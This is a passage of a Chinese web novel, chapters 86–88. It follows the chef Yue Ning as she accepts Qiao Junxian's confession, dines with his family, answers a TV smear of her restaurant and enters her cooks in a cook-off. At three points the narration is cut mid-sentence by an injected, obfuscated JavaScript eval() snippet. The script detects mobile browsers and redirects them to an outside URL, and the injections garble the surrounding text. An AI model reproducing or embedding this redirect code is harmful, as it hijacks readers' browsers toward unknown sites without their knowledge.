时候他什么都没说。还乐滋滋地跟自己跳第二支舞自己当时还觉得他超级好说话只要跟他跳舞他就开心了。 原来喂葡萄根本不是什么随手是找好了镜头？ 对啊！昨天晚上能进场的记者也就是亨通旗下报业和电视台的。 乔君贤的 车已经开到山道上，往上就是几家富豪的私宅，来往没多少车辆，他的车在路边停靠。 “我知道我这样做，不够磊落，我……我其实很小心眼，我会妒忌……”他认真地看着她，“岳宁，我喜欢你。在北京的时候就喜欢了。” “乔君贤……” “宁宁，你可爱，很聪明。那天晚上跟你一起送小姨小姨夫回招待所，你打了那个**。回来的时候，我抑制不住兴奋跟爷爷说起你，爷爷说：‘一个有胆识有魄力的女孩子不会喜欢一个为了一点事情都睡不着觉的男孩子。’那天晚上我还是没睡着，一直在想你。”乔君贤看着她，“你会喜欢一个为了你激动地睡不着觉的男孩子吗？” 岳宁发现他真的很容易激动，他的手都好像有点抖，然而，他平时做事一直沉稳。 岳宁招手：“你凑过来，我跟你说句话。” 乔君贤凑了过来，岳宁的唇划过他的脸颊，乔君贤吃惊地看着她，岳宁靠在椅背上：“我说好了。” “真的？” “我为什么要拒绝一个，只为了我，兴奋地睡不着觉的男孩子呢？”岳宁看着他，“不过现在你应该平复一下心情，专心开车，安全到家。” “好！”乔君贤深深地吸了一口气。 车子往上开，高高的院墙上攀附着不同颜色的三角梅，开得正旺盛，高大的铜门缓缓打开。从门口往里看，只能看到蜿蜒向上的山道，无法窥探里面的宅邸。 开过这条山道，一栋欧式大宅出现在眼前，背后是山，前面则是一大片泳池，这就是风水上说的，山为靠水为财。 乔君贤停了车，岳宁下车来，往前走了两步。 乔君贤过来牵住了她的手，他往西侧看去。 乔老太太手里拿着剪刀，正在修剪花枝，乔君贤叫：“奶奶。” 看见他俩，乔老太太把剪子放到篮子里，交给女佣，走了过来。 “家里有花王，奶奶就喜欢自己动手。” 岳宁被他拉着一起迎了过去，老太太见两人牵手，并不意外，岳宁叫：“乔奶奶好！” “好！” “奶奶，您糕点做好没有？” “做好了，没蒸呢！宁宁是大厨，对吃的讲究，肯定要现蒸才好吃。”老太太说道，“宁宁，我们进去。” 岳宁对吃的不挑剔，但是老太太的心意，她心里自然开心，岳宁过去挽着老太太的手：“上次乔奶奶做的荷花酥很好吃。里面居然是椰蓉口味的。” “这个还是你大姨妈的一个好姐妹教的，那位是个南洋的小娘惹。她做的点心，颜色口味特别好。我呢！苏州船点，就是好看个样子。两者结合了，既符合南方这边的口感，还有我们江南点心的细腻精巧……” 岳宁跟着她一起进底楼大厅，再上二楼，他们家二楼才是正儿八经的客厅。 老太太拍了拍她的手：“你跟君贤去露台上坐一会儿，我去厨房看看。” “嗯！” 岳宁被乔君贤带到客厅外的露台坐下，外面无法窥探里面，坐在二楼往外看去一览无余。 乔君贤说：“你坐会儿，我去拿样东西。” 第86章 乔家晚饭 乔君贤兴匆匆地拿了一本相册过来。 岳宁接过，侧头看他，他满眼期待地在她身边坐下、 岳宁翻开相册，扉页上写着摄影的地点和日期，这个年代的相机没办法记录地点和日期。 翻过扉页，一个版面三张照片，最上面一张是她在那个清晨，把阿大扔下山坡的照片。 那一瞬间阿大挣扎，自己有一身力气，到底要用力，龇牙咧嘴，而且他是在山坡下往上拍，这就更加可怕了。 岳宁转过头，看着一脸求表扬的乔君贤，问：“你拍这个干什么？” 乔君贤没想到岳宁会不开心，他说：“你就是那样闯进我的镜头，生机勃勃。” 他管这个叫“生机勃勃”？ “你知道，之前一路上，人和物都是风景。” 他往后翻了几页，这个版面上，苍茫草原上，牧马人驱赶着马群、羊群在悠闲地吃草、供销社下乡卖货，七大姑八大姨正在挑选货品。 “我一路过来，走马观花，拍了好多照片，冲出来也很好。没有那种冲击感，”乔君贤翻回第一张照片，“拍到了这张照片，我去村里观察每个人的表情，大部分时间听不懂他们在说什么，好像每个人都很鲜活。” 下一张是她挑着水桶走在乡间小道上的照片，他站在山坡下往上的，她修长挺拔的背影配上晨曦，加上这个构图，十分有韵味。 “这张，你融合在风景中。”他又指了一张她举着羊皮笑的照片，“你的笑容很有感染力，这一瞬真的好美。” 她拎着血淋淋的羊皮，他管这叫美。 乔君贤继续往下翻，有她和阿根叔剥羊皮的，有她做拆鱼羹的，也有春梅婶他们送她上车的，还有她家大黑趴地上的。 小杨沟的风景他也拍了好多，岳宁一张接一张地翻，出了小杨沟，县招待所吃饭，她发筷子，在火车上，她一瞬不瞬地看着窗外。 这张在百货公司的图片，她表情好夸张哦！ “你换了衣服出来，我第一眼就看到了，我一直觉得你有些不同，但是总说不上来哪里不同。这是这个时候，我发现了，你气质特别好，控场能力好强。”乔君贤回忆那一眼的惊艳。 岳宁一脸了解了的表情：“你那时候就喜欢上我了。” 乔君贤笑出声：“应该是吧！比我自己想象中的更早。” “吃点心了。”乔老太太过来，女佣放下了一盘糕点。 富贵长命锁造型的八珍糕，洁白的条头糕，梅花造型的绿豆糕，岳宁放下相册：“我去洗手。” 乔老太太指了指，露台上种花草，有水槽。 岳宁洗了手，接过佣人递过来的擦手巾，擦了手，坐下来，挑了一块绿豆糕，绿豆糕是冷藏过的，入口即化，带着奶香，还有薄荷的清凉味道。 “好好吃。这个最适合夏日了。”岳宁吃了一块，又吃另外一种。 乔君贤也拿了糕点吃，乔老太太拿起桌上的相册：“他冲印出来就给我们看了一次。” 佣人给老太太拿来了老花镜，岳宁坐过去，跟老太太一起看，岳宁边看边跟老太太讲西北的风土人情。 “西北缺水，夏天会好点，村里的水窖有水。我到水窖那里洗衣服，挑水，一个人可能会用掉两三个人的水。自己懂事点，到山上接山泉水，再说挑这么久的山路，也是锻炼筋骨……” 看到阿根叔剁羊头的照片，岳宁慨叹：“不知道阿根叔追到葛大姐没有？” 岳宁从阿根叔买了老婆，放那个女人走开始说起…… “宁宁啊！这么实诚，又懂进退的人，不该一辈子受穷。” “宁宁都记得呢！她让我给他们寄信，寄东西，也让我以后在鹏城开厂了，让他们进厂打工。”乔君贤说。 乔老太太郑重地点头：“要的，要的，好人该有好报的。” 乔君慎走过来，弯腰，脑袋蹭在老太太边上，一起看相册：“傻小子肯把相册拿出来了……” 乔君慎的嘴被弟弟塞了一块条头糕。 乔君慎两三口咽下条头糕：“宁宁，他第一次拿出来，我就说了句，这是去西北拍风景吗？怎么全拍人家姑娘了？他就生气了，藏了不给我们看了。” “哥……”乔君贤受不了他哥了。 老太太看完了相册，啪一声把相册放下：“我倒是也等着你给我看姑娘照片。在哪里？” 提起这个，乔君慎挪动脚步，到栏杆处看到山道上一辆车开了过来，他说：“奶奶，致远来了，你先教训教训他吧！” “致远我要骂，你也别想跑。”老太太站起来，“我跟你说……” 老太太一看，大孙子已经跑了。 乔君慎已经下楼去了，等蔡致远车子停好了，他勾着表弟的肩，让表弟仰头往上看，老太太往下看大孙子和大外孙，真不想看这两个臭小子。 还是小孙子懂事， 她转过头跟岳宁说：“宁宁，我们进去了，他们也都快回来了。” 蔡致远和乔君慎上楼，蔡致远走过来抱住老太太，在老太太脸上亲了一口：“外婆，今天好漂亮。” “别把你用在女明星身上那一套放在老太婆身上，没用。”老太太没给他好脸色。 “外婆，我已经被我妈和奶奶叫回家聆听训斥了。您不会还要来一遍？” 老太太重重地叹了一口气：“我老了，怎么管得了你们？” 蔡致远指着乔君慎：“乔君慎，看看你把外婆气得。” “我怎么可能气奶奶？” 在表兄弟俩互相推诿，插科打诨中，乔家人陆续回来了。 乔启明看见乔君贤牵着岳宁的手，笑看着小孙子。 叶应漪最后一个到，她看上去有些疲惫，她说：“抱歉，让宁宁等久了。” “三姨，没事的啦，我跟乔爷爷乔奶奶说话呢！” 乔启明说：“人齐了，开饭了。” 乔君贤替岳宁拉开了座位，岳宁坐了下来。 乔家的菜，确实像乔君贤说的，一桌上什么风味的菜都有。有浓油赤酱的酱鸭，清蒸鱼，咸呛蟹，蚝烙，雪菜炒年糕，带着浓郁味道的马来风光和南洋的肉骨茶。 “宁宁啊！都是家常菜哦！味道肯定不如你这个大厨烧出来的好吃。”乔老太太转了转盘，“宁宁，酱鸭是我们江南口味，你试试。今天这条鱼蛮好的，你乔爷爷，一天不能没有鱼的。” 乔启明说：“酱鸭是你乔奶奶的拿手菜。” 岳宁夹了一块酱鸭，吃了一口，是苏州上海一带，甜口的酱鸭，她上辈子都学过，这个还不是特别甜的呢！她说：“是很好吃呢！” 岳宁夹了一筷马来风光，实际上就是加了参巴辣椒酱的炒空心菜，参巴辣椒酱里的虾米有特殊的味道，初次吃的人可能吃不惯，岳宁却是超级喜欢。 岳宁边上坐着叶应漪，见岳宁连吃两筷，她看向乔家和：“你看看，宁宁也喜欢吧？就你，连试试都不愿意。” 乔家和拿老婆没办法：“你喜欢你就吃，我又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915443|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不阻止你吃。” 乔启明见岳宁夹了一块呛蟹，他说：“宁宁啊！宴席口味，你大姨是跟她爷爷奶奶长大的，跟我们一样都是宁波人，而且你大姨和大姨夫，在国内支持抗战有七八年时间，你就放心给他们做，云南、贵州、四川甚至西北菜，他们都吃的惯。不过你大姨夫 当年在上海吃到过一道青鱼秃肺，他时常拿出来说，说那时候上海都已经成孤岛了，上海那帮子人还奢靡成风。但是这个菜能让他记得，也确实是好吃。你大姨，念念不忘的是我们在重庆一个摊子上的卤鸭子。” “樟茶鸭吗？” “樟茶鸭估计她也会喜欢。”乔启明微微笑了一下，“不过不是樟茶鸭，就是一个小摊子上的卤鸭子，白卤的，清淡口味的。” “你就不要为难宁宁了。应澜想吃那个鸭子，不过是想起那段日子而已。”乔老太太说。 “是啊！人老了，就想当年了。” 乔启明是年纪大了，不免聊起当年烽火岁月。 岳宁听得入迷，她牢记每一个地名，叶应漪也补充，当年长辈们在国内在南洋，把他们送到美国去读书，在美国，蔡致远的爹妈和大舅舅、大舅妈一起参加美军对日作战，支援国内抗战。 乔老太太拉住喋喋不休的老头子，说：“宁宁啊！差不多就行了。照着你伯伯和大妈妈的口味来，他们才是主角。” “对，对，你是大厨，你来决定。主要还是你莫伯伯和大妈妈。” “嗯，我先回去拟定菜单，到时候还请大家帮忙看一下。” 聊完这件事情，乔启明问叶应漪：“应漪，还没解决吗？” “头疼啊！原材料涨价，上游在囤积，那些厂商缺料严重，而且几乎所有的客商都在调价，刚才我在跟意大利的供货商谈，他们坚持涨价5%，而且是包含了已经订购的货物。货品缺得很厉害。” “这十年的滞胀，内热淤积，恶毒难消。石油危机导致的大宗商品涨价，传导到日常商品价格上，百货零售肯定受到冲击，我跟你大姐夫商量过，我们认为这只是开始，还得熬几年。”乔启明说，“等你大姐大姐夫和你大哥过来，咱们再商量。” “知道这个道理。但是货源紧缺，难免就心里急躁。”叶应漪头疼。 乔家和给老婆夹了一块鱼肉：“吃鱼，补补元气。” “君贤，你的风扇应该很好卖吧？”乔启明问。 “供不应求。也是幸亏买下了这家风扇厂，否则跟妈妈那里一样，德国那边因为原材料涨价的，电视机和电冰箱交不出货。代理生意，这两个月，有订单没货。运气好的是，这家电风扇厂，当时就是货物积压，材料积压，导致资金链断裂，现在局势反转，库存货，盘点了一下，幸好比较新的，就出欧美和东南亚市场，很老的那批型号给了国内的李国强。”乔君贤侧头看岳宁，“你还记得他吗？” “记得，西安碰到的那个铁路职工？” “对，他刚开始搞了一批收音机过去，很快就卖完了，这样不正规的操作我认为有风险。我找了鹏城招商办的人，联络了一家进出口公司，让他们长期合作，把那些老型号全部给他了。三千多台风扇。他一个批次一个批次来拿。他送钱到鹏城，穿得跟要饭似得，背了个打了补丁的麻袋，把一麻袋的钱，交给进出口公司。这些钱用来建鹏城工厂，乃至开业运营都绰绰有余。” 经济危机就是这样危中还有机。 一顿饭下来，岳宁听到了各种分析，感觉像是参加了一个财经论坛。 第87章 大赛邀请 岳宁把一盘录像带塞进录像机，电视机屏幕上出现一段画面。 这是一档新闻节目，主持人手里拿着一张报纸说：“这是一份《粤城晚报》，上面刊登了这样一条新闻，‘福运楼与港城宝华楼达成合作协议，港城宝华楼回哺福运楼，为福运楼培训厨师’，我们来看文章具体内容。” 这篇报道里说，建国后三十年，尤其是近十年像福运楼这样的老字号出现了人才凋敝的情况，很多技艺没有了传承。从福运楼出去的岳宝华先生得知了福运楼面临的境况，主动提出帮助福运楼培训厨师。 主持人放下报纸说：“从这份报纸上可以知道，宝华楼请来的所谓的大厨，实际上是福运楼里来培训的学徒。我们再来听听粤城的街头采访。” 记者在福运楼周边采访路人，问路人现在福运楼怎么样？ “吃不起呀！” “又贵又不好吃，谁会来花这个冤枉钱？” 一个老爷子停住说：“福运楼早就不是十几年前的福运楼了，罗大厨还在的时候，福运楼在粤城，那是粤菜第一块牌子，罗大厨一走，他儿子**了，福运楼就没落了……” 这个片段切掉，换成了宝华楼跟鸿安签约新闻发布会的画面，苏菲说是三位大厨抵港，进入宝华楼和宁宴，还有一段是岳宁在公开场合说福运楼来的三个厨子，都是很厉害的大厨。 切回主持人的画面：“宝华楼的岳宝华先生一直是以口味见长，宝华楼在旺角也是以价格适中，口味好而出名的一家酒楼，深受港城市民的喜欢。宝华楼遇到胶布事件后，市民也很惋惜。即便是宝华楼除了岳宝华先生外，主要的厨师全部流失，受到重创，宝华楼重开后依旧受到了追捧。然而，岳宝华先生的孙女岳宁小姐并不像岳宝华先生那样愿意沉下心来做菜，她有手艺，甚至手艺比岳宝华还好，但是好高骛远，在宝华楼还没有恢复元气的时候，就想要一步到位做高级餐厅。把内地一家没落的老牌餐厅的几个手艺一般的厨子捧成大厨。我想说，岳宁小姐，请珍惜羽毛，好自为之。” 新闻到此结束。 这段新闻是昨天出来的，以岳宁的热度，很快就成了街头巷尾议论的焦点，她现在有很多铁杆粉丝，看到这种新闻，粉丝根本不信岳宁是这样的人。 但是粤城的官方报纸，福运楼的真实口碑确实如此，这也算是铁证如山了。 岳 宁啪嗒一声关掉了电视机从桌上拿起一份邀请函递给阿明：“阿明叔你看看。” 阿明低头看邀请函岳宁从桌上拿起一根木头用小刀刮着木头。 阿星见她这个样子问：“宁宁你这是干嘛？新闻这么说咱们确实很气人但不至于要**吧？” 岳宁笑：“我遵纪守法。这算个什么事？” 她把木头给阿星：“闻闻。” “好香！”阿星闻了又闻有种特殊的清香。 岳宁从桌上捻起木头上刮下来的碎屑放在鼻前闻这味道太迷人了她说：“这是山胡椒根是滇西米线的一种特殊调味料。” 进出口公司的人太给力了听她说要招待曾经在滇缅公路上跑过运输的大姨和大姨夫他们给她搞来了一大堆调料包括几根山胡椒木说让她做云南德宏的米线。 阿明看完了邀请函试探着问：“宁宁这是邀请你去参加港澳厨王比赛的。你给我看是要带我去做助手？” 邀请函是每年一度的港澳厨王大赛寄过来的。以前岳宝华对此一点兴趣都没有 这次倒也不是岳宁对这么一档节目感兴趣实在是御龙轩像是打不死的小强一直纠缠着她。 岳宁从阿明手里拿过邀请函递给阿星她告诉阿明：“楼家富去了御龙轩御龙轩今年派他出来参赛。” 阿明大笑起来：“御龙轩的郭世杰有没有脑子？去年陆进勇输给荣哥那只是败了一点点。今年让楼家富来跟你比那死得会有多惨？” 岳宁从阿星手里抽过山胡椒木敲了一下阿明的脑袋气呼呼地说：“新闻白给你看了？” 阿明愣了：“这跟新闻有什么关系？我们只要烧好菜只要客人觉得好吃就好了。” 岳宁转头跟杨志杰说：“阿杰你分析给他听。” 杨志杰站了起来：“明哥刚才新闻里主持人说了三句话第一宝华楼原有主要厨师全部流失第二岳宁从内地请来的厨子没本事。第三岳宁有本事甚至比华叔还好。意思是说宝华楼除了华叔和岳宁已经没人了。再配合这张邀请信和他们放出来的消息楼家富加入御龙轩还要参加比赛。如果是宁宁参赛就是胜了也没办法破除前面两条。想要破除前面两条宝华楼派出来的人就得是你、阿伟哥或者松哥其中的一个还有从粤城福运楼 来的三个人里的一个。一得证明你们几个不比楼家富差，二证明内地来的厨子确实是大厨。 阿明一双眼瞪大了，他这下算是意识到了：“宁宁，你不会是想让我去参加比赛吧？我跟楼家富不好比的，我比他差多了。我…… “你比他差哪里？ 阿明脑袋摇得像是波浪鼓：“我除了煲仔饭比他烧得好，其他都不如他。而且厨王大赛，根本不是大家用拿手菜比，而是节目组随机提供食材，按照节目组提供的食材做菜。有很多稀奇古怪的食材，我可能都没遇到过，压根就不会做。我肯定不行的！要不，你让阿邦和阿星去吧！阿邦火候掌握地特别好，阿星的刀工，大概除了你，没人能跟他比了。 岳宁微微叹了一口气：“阿明叔，你连阿松叔和阿伟叔都不敢提吗？ “这是事实啊！宁宁，师兄弟六个，他们三个，荣哥最好，其他两个也不差。我们三个以前就跟在他们后面的啊！阿明低下头，“而且，我还是最差的一个，除了煲仔饭做得好，其他的真不如他们。宁宁，你来了，我已经很努力了。但是我也知道自己几斤几两，去跟他比，那是必输无疑。 “你对自己一点信心都没有。好歹对我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915444|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点信心吧？我像是拍脑袋让你去的吗？岳宁跟他说，“只要你能到决赛，跟楼家富一比高下，哪怕是输了，也不算是丢面子了。 阿明仰头看岳宁：“我输了你不会怪我？ 杨志杰站起来：“明哥，我跟你说，宁宁跟我讨论下来，阿邦和阿星搭档是最合适的。阿邦的灶台功夫已经炉火纯青，阿星切工是个什么水平，大家都知道。让你去参加，因为他们说华叔的徒弟只有三个有本事，宁宁希望你能为你们几个正名。她说，只要你跟楼家富比，输得不太惨，宝华楼还有华叔和宁宁，你不过是宝华楼排名第五的厨子，楼家富算是御龙轩排名第二的了。我们就不丢人。宁宁愿意给你机会，你自己倒是缩了。 阿明低头不语，他如果说不去，那就是辜负宁宁对他的期望，他要是去了，输了，那不是丢宝华楼的脸，而且宝华楼有更好的组合。 “我也不是让你们去送人头的，阿星不是学徒，是天赋极高的厨子。你们俩凑在一起，赢面还是有的。岳宁看向马耀星。 马耀星已经看完邀请函了，他有信心。 这两天跟岳宁一起，他以前也愿 意学，只是没人教他，他死记硬背，菜谱可背了不少。 宁宁说起重庆的卤鸭，说不是烟熏的樟茶鸭，他立马就想起，之前有个重庆的大厨来福运楼交楼学习，做过重庆的白卤鸭子，跟他们潮汕卤水不同，别人没记下，他记得大致配方。 这两天跟宁宁反复调配卤水，今天试吃下来，已经跟记忆里的口味很接近了。 况且，宁宁说他一直被放在切墩上，被耽误了，烧菜的机会不够多。掌勺跟切墩一样，是要一直烧，一直烧慢慢地领悟出来。 这方面不行，他那些死记硬背，有标准的东西，他只要被点拨一下就会了。 在宝华楼这些天，他跟几个厨子都熟悉了，阿明火候的掌握不如阿邦，但是岳宝华又不是罗世昌，岳宝华对徒弟是认真教的，阿明的基本功还是有的。 马耀星跃跃欲试：“明哥，我给你做助手。我烧菜本事还不到家，但是菜谱记得多。当然，我和邦哥拍档也可以。宁宁这么安排，是因为，她希望你以后是宁宴或者宝华楼的总厨。” 岳宁说：“你真没信心，我可叫阿邦了。” 几个人都跟他这么说，阿明心里明白，岳宁对他有多看重，自己如果执意不去，真会让宁宁失望。他抬头，眼神坚定，“我去。” 岳宁看着他，她知道阿明还缺乏信心，岳宁不想给他太多压力：“只要你尽力了，输赢不是问题。” “嗯。我一定尽力。再说了，我要能跟楼家富比到决赛，无论我和他谁赢，还不是证明师傅的手艺好？” “这么想就对了。”岳宁跟杨志杰说，“阿杰，怎么回应就看你了。” “我去找苏菲姐商量。”杨志杰点头。 “好！”岳宁跟马耀星说，“走了，我们去试傣家米线了。” 第88章 广告片 一直不打广告的宝华楼，突然在电视上投放了广告，甚至不能算是广告，而是长达二十分钟的短片，名为《宝华楼的一天》。 片子开头，清晨街道的街道没有了喧嚣，岳宁在三楼朗读英文就显得格外清晰，一辆送货的车子到达宝华楼的偏门口，偏门打开，一个人出现了，这个人边上出现几个字“宝华楼主厨陈良伟” 阿伟带着人一起点收肉类，宝华楼要求一看二验三记录，保证当日肉食可追溯。查收的货物，装入袋子，贴上进货日期，放进冷柜。 阿伟收完食材，带着徒弟巡视整个宝华楼，岳宝华在烧腊间，刷脆皮水，后边是六个大婶在摘菜洗菜，他们巡视到厨房，岳宁已经在厨房了，她在炒菜。 巡视完，小学徒打开了宝华楼的大门，街道上人渐渐多了起来，阿伟和岳宁、岳宝华坐在大厅里商量。 职员们陆续上班，几个人进厨房端东西出来，岳宁跟了出来。 他们今天吃的是米线，有人吃清汤，米线配生菜叶，夹一大筷切得薄薄的牛肉片，有人则是米线上盖了一大勺红油肉末，里面还飘着碧绿的韭菜段，岳宁拿起一根木头用小刀刮碎屑，有几个人也跟着这么来。 观众看得一头雾水，这是个什么吃法？广府人什么都吃，岳宁比他们吃得还杂，居然吃起了木头？ 吃过早餐，职员们到一块白板前集合，岳宝华和岳宁也站在职员们当中，听阿伟在说。 镜头拉近白板，白板分成两边，一边写着“我们做对了什么”，另外一遍是“我们哪里需要改进” 早会开完，岳宁带着四个人离开，其他人准备午市。 镜头对准了圆脸的厨子，他边上也有注释“福运楼罗家传人” 这个罗家传人的切菜手艺大约只比家庭主妇好一点，和边上那个小学徒比，显得很笨拙。 岳宝华也上了灶台，他身边一边一个学徒，他自己炒菜的同时，还指点着两边的徒弟。 镜头对准长着香肠嘴的厨子，他也有注释“福运楼牛河第一人何运邦”，锅勺翻转之间，每一个姿势都娴熟到让人以为这锅和勺是他手的延伸，丝缎光泽的牛河出锅，隔着屏幕观众似乎都能闻到牛河的烟火气。 此刻宝华楼前厅已经满座，门口也已经在等位了，等位的人都有椅子可以坐，有甘蔗茅根水可以喝。 镜头切换到了浅水湾，金灿灿的“辉煌”已经 改成了黑色手写字体“宁宴”里面的装修没有改动多少 宁宴还没有开业后厨里几个人在忙碌一块平整的圆盘玻璃下压着一张白色的稿纸稿纸上黑线描绘了一只展翅的大鹏一个左撇子厨子飞快地切着鱼片这个厨子的注释“福运楼第一刀马星耀”他切完鱼片再把鱼片一片一片按照底稿拼接透明的玻璃上出现了一只鱼肉拼成的大鹏鸟。 岳宁过来用酱汁写上“大展宏图”。 岳宁离开阿星把炸芋丝、腌姜丝、紫苏丝、柠檬丝、洋葱等十几种配菜按照不同颜色搭配码放在大鹏鸟边上 镜头又转向岳宁岳宁站在一个厨师身边这个厨子是“宝华楼主厨张骏明”阿明打开了锅盖里面用奇怪的器皿蒸着看上去像是梅干菜扣肉？厨师用夹子把这个器皿夹了出来倒出蒸煮的汤汁另外起锅在汤汁中倒入水淀粉勾了个薄芡。 阿明拿了个白瓷盘把那个蒸肉器皿倒扣宝塔形状的肉出现在瓷盘里。 阿明用卤制的鹌鹑蛋和西蓝花交叉围边最后在肉上淋上酱汁。 岳宁过来端了菜出去除了这两个菜还有一个砂锅砂锅开盖是鱼骨啫啫煲一看就是做鱼生的副产品它边上的凉拌鱼皮也是如此另外配上一盘青菜、一盘白饭每个位子上还有一个天青色的炖盅。 一桌六个人岳宁给大家倒了茶水。 胖墩墩的老爷子乐呵呵地在鱼生上撒盐再浇上油拿起筷子瞬间一只漂亮的大鹏鸟没了他夹起一筷鱼片放在自己的碟子里混合了配菜塞进他嘴里那享受的表情跟影视剧里的夸张不同。观众都看得出来就是发自内心的满足。这人也有注释“宝华楼美食顾问周宣雄” 岳宁夹起宝塔肉的肉片肥肉晶莹剔透瘦肉浸泡了梅干菜的汤汁变得红润。她拿起刀切了两下宝塔如雷峰塔一样倒掉了露出里面的梅干菜几个人各自打了一碗饭夹起梅干菜扣肉放在饭上吃了起来。 紧接着老爷子揭开了身前的炖盅里面是一只完整的鸽子躺在清澈的汤水中筷子轻轻一戳鸽子皮裂开鸽腹中是鱼翅。 镜头再次转换岳宁已经回到宝华楼穿上了宝华楼的厨师服 带着五个人一起进了后厨，阿星站在前面，提起一只乳鸽，开始演示，如何整鸽脱骨，他手起刀落，看着就让人舒服。 岳宁站在那个福运楼罗家传人身边，亲自指导，别人都拆完骨了，都在灌水了，其中一只失败，脚关节漏水了，这个厨子认命地再拿了一只。 这个罗家传人额头冒汗，背上的皮扯破了，岳宁笑看着他，又提起第二只鸽子，让他继续，他接连拆坏了四只乳鸽，那表情都快哭出来了，岳宁却大笑着出去，拿起粉笔，在门口的“今日特价黑板，添上：山药乳鸽汤。 没有破皮的鸽子被塞进了炒好的糯米饭。 晚市开始了，岳宁站在中午岳宝华的灶台，身边的厨子是那个切菜笨拙的福运楼罗家传人，还有那个刀工很好的马耀星，这下两人像是对换了，罗家传人炒菜行云流水，马耀星时不时被岳宁用死鱼眼注目。 马耀星嘿嘿一笑，继续炒菜。 八宝乳鸽、干炒牛河、拆鱼羹、香芋扣肉、上汤焗龙虾、鲍鱼捞饭、菠萝咕噜肉、萝卜牛杂…… 一道道菜从后厨到了前厅，到了餐桌上。 晚市结束，当日的主厨和当日服务领班带着厨师和服务人员，餐后巡台，餐台上台面整洁被表扬，茶杯里有水被表扬，餐盘里的菜吃完了被表扬，餐盘的菜没有归拢被批评，剩余的菜多，主厨尝过之后，炒这个菜的厨子来尝，分析问题。 这些问题变成了，白板上的“我们做对了什么、“我们哪里需要改进 最后是宝华楼全体员工的一张大合照，岳宁和岳宝华分别站在两边，中间的位置留给了阿明和阿星，以宝华楼全体职员说一句：“您的满意是我们进步的动力。作为结束语。 这算是宝华楼对那条新闻的回应。 这是广告吧？还真是广告。但是在不同人眼里，却读出了不同的味道。 餐饮与住宿协会的会长，接受采访说：“宝华楼的管理值得同行学习。港城食品大多依赖进口，去年走私牛肉事件，那些走私牛肉生产日期已经超过五六年。如果我们酒楼能像宝华楼一样有严格的进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915445|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料把关，我们市民吃到这种肉的风险就会少很多。还有他们开业前巡查和晚市结束后的巡查都非常好。 有人问岳宁，她把这些制度公开不怕人学了去？ 岳宁根本无所谓，上辈子几乎每一家大酒楼都有餐后巡台的制度。有的人家就会 搞**，就是他们宁宴也有一个酒楼经理巡台的时候，看见一道蒜子鳝筒里只剩下蒜子了，就训斥厨师，说厨师没做好这个菜，所以客人没有把蒜子吃完。蒜子是配菜，是提味增香的，这玩意儿基本上都会剩下。这就是外行训内行了。 巡台要真正巡到实处，并不容易。这个自己心里清楚就好，明面上她说：“没事啦！能给同行一点借鉴，也是宝华楼的荣幸。 也有人看到宝华楼也已经回应说会派出岳宝华小徒弟和那个刀工特别好，炒菜很一般的马耀星参加厨王大赛。 他们觉得岳宁安排张骏明和马耀星参加厨王比赛很不明智，应该让把牛河炒得比她还好的何运邦和马耀星去参加比赛，退而求其次也是那个不会切菜但是会做菜的罗国强和马耀星搭档。 岳宁对此回应：“输赢无所谓，我更希望我爷爷的徒弟们能在决赛阶段会师，那我爷爷肯定很开心的啦！ 总体来说，大家把这个片子当成了美食片来欣赏，里面的一道道美食，太馋人了。 有大家熟知的拆鱼羹、干炒牛河、鱼生、啫啫煲，也有大家搞不太明白的菜。 这时候就要老饕出来写评论了，观众才不管杨裕合收没收钱，反正杨裕合写的文章他们爱看。 杨裕合介绍了宝塔肉的前生今世，着重说了一块五花肉一片倒底，牵连不断，寓意步步高升。 鸽吞翅又名仙鹤神针，宁宴这个用料极其讲究，用的是五羊金钩翅针，三十六日妙龄乳鸽，加上八百天老母鸡炖的鸡汤调制而成。 还有岳宁刮的木头，是滇西米线的一种调料，口味很独特，他吃过，香气很特殊，他很喜欢。 那家电视台可以去粤城福运楼门前采访，本港记者来宝华楼门前采访不是更加容易？ 宝华楼又接受指定厨师，很多人都会点何运邦的干炒牛河，甚至有人说何运邦的干炒牛河全港第一，岳家祖孙没得比。 这个年代去一趟粤城多麻烦，来宝华楼是分分钟的事，食客们吃过之后，纷纷表示这是大实话。 岳宁的一句：“我阿邦叔在粤城可是有牛河邦的外号。 于是，何运邦在港城恢复了他牛河邦的外号。 吃过罗家传人的拆鱼羹，大家也都认可，确实口感跟岳家祖孙的拆鱼羹相差不大了。 看他在广告片里的表现，食客表示，罗家传人的刀工真的要多练练。 